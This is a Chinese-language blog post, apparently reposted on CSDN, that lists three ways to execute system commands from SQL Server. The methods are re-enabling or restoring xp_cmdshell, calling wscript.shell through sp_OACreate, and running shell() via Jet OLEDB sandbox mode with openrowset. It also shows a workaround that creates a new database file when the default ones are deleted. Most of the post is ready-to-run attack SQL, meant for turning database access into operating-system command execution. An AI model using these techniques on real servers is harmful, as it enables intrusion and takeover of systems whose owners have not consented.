SQLserver执行命令

方法一:xp_cmdshell 

exec master..xp_cmdshell "whoami"默认执行是关闭

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

将1修改为0则为关闭

xp_cmdshell 被删除可采用xplog70.dll恢复

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

方法二:SP_OACREATE

xp_cmdshell 删除以后,可以使用SP_OACreate。

EXEC sp_configure 'show advanced options', 1;   

RECONFIGURE WITH OVERRIDE;   

EXEC sp_configure 'Ole Automation Procedures', 1;   

RECONFIGURE WITH OVERRIDE;   

 

EXEC sp_configure 'show advanced options', 0;

执行[此方法无回显]

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

 

方法三:通过沙盒执行命令

 

开启沙盒

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

 

利用jet.oledb执行命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')

 

但是,当 c:\Windows\System32\ias\dnary.mdb 或 c:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了.

所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)

declare @hr int

declare @object int;declare @property int

exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT

 

exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'

然后再利用jet.oledb调用SysSetup.xml执行系统命令:

select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")')

参考链接:

https://www.4hou.com/technology/3338.html

https://www.cnblogs.com/mujj/articles/2043853.html

 

转载于:https://www.cnblogs.com/websecyw/p/11016974.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值